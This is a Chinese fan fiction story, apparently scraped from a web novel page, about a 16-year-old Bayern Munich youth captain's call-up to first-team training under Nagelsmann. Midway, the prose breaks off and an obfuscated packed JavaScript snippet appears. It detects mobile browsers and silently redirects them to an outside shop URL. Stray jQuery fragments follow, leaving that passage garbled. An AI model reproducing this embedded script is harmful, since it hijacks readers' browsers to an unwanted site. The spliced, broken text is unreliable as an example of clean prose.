六月末的赛本纳训练基地午后,空气里弥漫着青草与泥土混合的气息。
身为U19梯队的队长西格勒正坐在场边的长凳上晒太阳,手上摆弄着一个水瓶,目光懒洋洋看向篮球场上的嬉笑的少年们。
他们都是梯队的小将,现在是午休,不知是谁提议拉着所有人一起来这里打篮球,总之喜欢的不喜欢的都聚集在这里。
西格勒打了个哈欠,想要回基地睡一觉,目光和兴致勃勃拿着篮球的克雷希奇对上视线,他匆匆朝球框扔了一球,向着他走来。
四下没有外人,大家也渐渐开始袒露心声。
“我还是不敢置信他们开除了弗里克,他可是六冠王的功勋教练!”克雷希奇成功往球框丢进了一个球便兴致缺缺坐到西格勒旁边,声音压低:“难道是因为德国足协想要开除主教练勒夫,弗里克是他们挑选的接班人?”
金色的脑袋摇了摇,表示不知道。
西格勒今年16岁却已经当上了队长,除了优异的表现外还有一点至关重要,作为从12年就加入拜仁青训的老资历在梯队教练眼中总是拥有优先权的。
所以,每当外界有什么消息时,大家总默认他会知道一些情报。
不论真假,能满足八卦之心即可。
拜仁这家俱乐部总是很喜欢为国养贤,和德国国家队关系密切,西格勒不排除这种可能,没准真的是管理层的计谋呢。
但“我觉得就像媒体说的是引援问题,弗里克想要的球员高层认为太贵或者不合适,双方不欢而散。”
“我倒认为是新主席卡恩不喜欢声望太高的弗里克。”这一猜想也有不少人赞同。
不过再多猜忌也无用,现在的问题在于创下教练转会费历史记录的新教练纳格尔斯曼能不能成功接下这个担子。上赛季可是取得了六冠王的好成绩,球迷的胃口被养刁了自然而然对新赛季有更高的期待。
“感觉不太不行。”另一名球员加入讨论,同样压低声音:“纳格尔斯曼才33岁!比队长诺伊尔还小一岁,真的能压住更衣室吗?
他眼睛眨眨,看好戏之色溢于言表:“尤其是...我们的更衣室。”
此话一出,克雷希奇和西格勒都会心一笑。
这里可是勾心斗角到被媒体称之为绿茵好莱坞的俱乐部,各种炸裂新闻层出不穷,在豪门当教练承受的压力一般人可无法想象。
“半个月之后第一场季前友谊赛就知道了。”
“那时候......”提起友谊赛,西格勒默了默:“我们一线队还有人吗?”
其他人也跟着沉默了。
一线队当然有人,怎么会没人呢?但那时候主力们肯定因为刚结束的欧洲杯体力不济休假中,剩下的说句不好听全是虾兵蟹将,完全凑不出完整的大名单。
这种情况下,主教练能做的就是去二队甚至是梯队捞人。
想到这种可能,大家顿时兴奋了,每个人的眼睛都亮了起来。
这可是直升的好机会。
有时候并不是天赋异禀的球员,差的就是这么一个表现窗口。
“对哦!”克雷希奇一拍大腿,原本手里抱着的篮球差点脱手,“主力都没回来,纳格尔斯曼总得有人用吧?否则训练对抗赛都凑不齐人。”
别的球员也纷纷插话,看好戏的心态此刻全无全是精打细算:“新教练刚来,肯定想全面考察,纳格尔斯曼最擅长的就是培养新人,他肯定不会只看一线队里的熟面孔也会到梯队里瞧上几眼的。”
此话一出,大家悠哉打篮球的心情都飞出去了,恨不得马上开始训练,一股脑的将手中的篮球放回网内跟着早已起身的小队长回室内准备下午的训练。
嘿嘿,升入一线队,嘿嘿。
光是想想就开心,没准呢。
走在最前面的西格勒心中倒是没那么多小心思,笑死谁会把才16岁的小豆丁扔进一线队,拜仁从来没有这种先例,他就不需要擅自期待了,省的到最后又擅自失望。
做仁要有自知之明,多说多错,少说不错,谨言慎行。
西格勒走在队伍最前面,午后的阳光把他的影子拉得细长,身后队友们脚步急促身体从内而外散发出的兴奋逸散在四周。
队友们盘算说要在下午的对抗赛里多传出几脚威胁球,最好能够被路过的一线队助教多看几眼,还有人念叨着从YouTube上看到的纳格尔斯曼用人习惯,说他在其他球队执教时都敢用小将,说不定真的会破例。
窸窸窣窣的喧闹声撞在走廊的墙上,又弹回来,落在西格勒耳里,只觉得有些不真切。
走廊尽头,此行的目的地战术分析室门敞开着,里面已经亮起了灯,冷气开的很足,走进去的瞬间,西格勒顿时感到一阵凉爽。
果然,刚才就不该跟着克雷希奇出去打篮球,热死了。
他们随意找了一个位置坐好,不一会下午的战术课教练就来到了教室,神色是一贯的严肃,对少年们躁动的心视若无睹。
猜都能知道这群teenager在为什么高兴。
教练的激光笔点在屏幕上,随时暂停视频,拆解当下两支队伍的站位和传球选择。
“看这次由守转攻,我们的阵型展开的太慢,对面的三条线已经就位。”教练目光转向下方五官精致,明显比身边其他人看起来更年幼的的中场核心,语气不免缓和些许:“埃尔温,你当时在想什么?”
西格勒立刻坐直身体,目光聚焦在屏幕上自己那个小小的身影。画面中,他刚把球从对方脚下捅走,身边至少有两个出球点,教练已经把两个方向标出来了。
“我在考虑第三条出路,想要独立摆脱他们的围堵。”
他坦然道,语气里毫无心理负担,谁能保证自己不会突然灵机一动呢,大部分人踢球的时候都是按照本能行动的。
西格勒知道他应该在两条路二选一,但是直觉告诉他可以另辟蹊径。
这是解释不清的直觉。
教练闻言无奈收起笔,叉腰看着他:“但是你思考的间隙差点失去了球权。”
随即在屏幕上画了一个全,圈出了当时对方防守阵型中那片稍纵即逝的间隙,按照西格勒的实力他本应该把握住。
“在高节奏的比赛中,清晰的决策比完美的技术有时候更重要,尤其是攻防转换的瞬间。”
就这样,教练一个个点出在场每个人的失误,分析每一个细节并讲出正确选择。室内放着的冷气逐渐给球员们的大脑降温,大家的理智重新回归。
西格勒的失误其实不多,点出几点在战术板上记录好后就开始神游,听着教练讲解其他人错误的同时,眼角的余光不由自主瞥向窗外。
【让我瞅瞅外面发生了什么.JPG】
一线队的训练场外,那里人影稀疏,几个助理教练模样的身影正在场边走动,偶尔停下来,对着手里的平板记录着什么。
课间休息的提示音短促响了两声,教练立刻收拾东西离开,他们太爱教练这一点了。
战术室的紧绷的气氛像被戳破的气球一样炸裂开,消散不见。
少年们立刻东倒西歪,有人伸长胳膊瘫在椅子上,有人则迫不及待摸出手机开始玩。
埃尔温没有行动,还盯着窗外,那几个眼生的助教还聚在外面聊天。
“喂,看得这么入神。”克雷希奇凑过来,胳膊搭在肩上,也顺着他的目光往外瞅:“难得看到你不第一时间玩手机。”
“有更重要的事情值得看。”西格勒说着,收回视线,他又不会唇语听不懂教练们在外面叽里呱啦什么还是不继续盯人了,省的被发现双方都尴尬。
“说真的,你觉得我们有戏吗?就刚才战术课上的表现。”
“不清楚,实战课才是最重要的。”
“说的也是。”
此话一出,几个竖着耳朵偷听的家伙强装的镇定怎么也把持不出,期待都快从眼睛里溢出来了。
西格勒把水瓶盖拧的咔咔作响:“教练让你往东你就往东,让你当柱子就别想着开花。别想那么多,小心下次操练的时候跑岔气。”
话是这么说,他自己也像踹了只在心里跑来跑去的兔子似的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211161|197399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被队友们折腾的有点烦,刚才战术教练的提点更是在他心里留下了一个小疙瘩。
要赶紧开始训练,把这些思绪清理掉。
合格的职业运动员不应该被场下的事情影响。
U19的训练照常进行。
热身时,大家明显比平时更来劲,拉伸压腿都带着股狠劲,就连平时偶尔偷懒耍滑的几个人,今天有规规矩矩的,眼神是不是扫过摆在一旁录像的训练记录仪。
仿佛此刻装模作样五分钟就能荣华富贵一辈子一样。
教练还是那副样子,背着手在场边踱步,脸上没什么表情,偶尔吹哨叫停,纠正一下跑位或者传球力度。
似乎和平时没什么不同,但西格勒感觉教练今天观察他们的时间,好像比平时长了一点。
分组对抗开始,今天对抗的节奏很快,拼抢也异常激烈,平时可能会收着的动作,今天都放开了踢。
西格勒踢得很专注,努力把战术课上的吸收到的知识在场上套,试图更快地做出决策,加快攻防转换的速度。
一次中场拦截后,他几乎没有停顿,抬头的同时脚弓一推,皮球贴着草皮,精准穿过对方两名球员之间的缝隙,找到了突然启动从后方插上的克雷希奇。
这球传的舒服。
克雷希奇没有停顿接住,顺势过人就得到了面对门将的机会。
GOAL?
门将收回了一个goal,并大喊一声yes。
“NO--”克雷希奇懊恼抱头不敢回头看西格勒的表情。
西格勒跑过去,没有多说什么只是拍了拍他的后背:“下次射门仓促的话,可以试着挑射一下。”
对抗赛如火如荼进行中。每个人都像是上了发条不知疲倦的四处奔跑,拼抢。
场边U19教练依旧不动声色,而远处不知什么时候出现的助教则在战术板上笔尖攒动记录着什么。
就在进行最后放松拉伸的时候,助教越过场边的隔离带走上前。
所有正在恢复体力的球员动作齐齐一顿。不提云淡风轻还在整理发型的西格勒,哪怕是最累的人也瞬间支棱起了耳朵,目光追随着助教的脚步。
西格勒正在弯腰够自己的脚尖,姿势定格在那里,明明喝了不少水,但莫名的还是喉咙发干。
他强迫自己继续拉伸动作,一下又一下,耳朵却竖的比兔子还直。
教练和助教交谈了几句,距离有点远听不清具体内容。
只看到助练边说边朝他们这边比划着什么,然后便步履匆匆离开了。
教练站在原地,看了看手里的记事板,然后转过身,面向球员们。
此刻的他格外的神圣,掌握着他们的生杀大权。
他清了清嗓子,四周安静只剩下喘气声。
“下面念到名字的人,”教练的声音不大,却清晰的在下午空旷的训练场上回荡。“明天中午午餐后,不用来这边集合,直接去找刚才的助教报道,参加下午的训练。”
“呼--”不知是谁吹了声合时宜的口哨声,缓解了紧张的气氛。
第一个名字被念出,是那个队伍里身材最高大的中后卫。
噼里啪啦响起一阵鼓掌声。
第二个,“埃尔温.西格勒。”
声音被念出的瞬间,当事人西格勒这一刻真的觉得时间仿佛被凝固了。
然后,就是嘈杂的声浪轰然炸开。
“我靠,队长!”
“你简直是我见过的天才里最天才的一个!”
“请客!必须请客!”
他被四面八方涌来的人围住了,肩膀被拍得生疼,耳朵里灌满了奇怪的怪叫和祝贺。
没有什么比亲眼见证一个16岁的少年升入一线队更令人激动的了!天哪,才16岁,如果不出意外他们的小队长会成为队史最年轻出场球员。
西格勒有点懵,脑子里像塞了一团浆糊,又像是无数个小烟花噼里啪啦一下子全部炸开。
他下意识咧开嘴,想说什么,却只发出了一个短促的音节:
“JA.”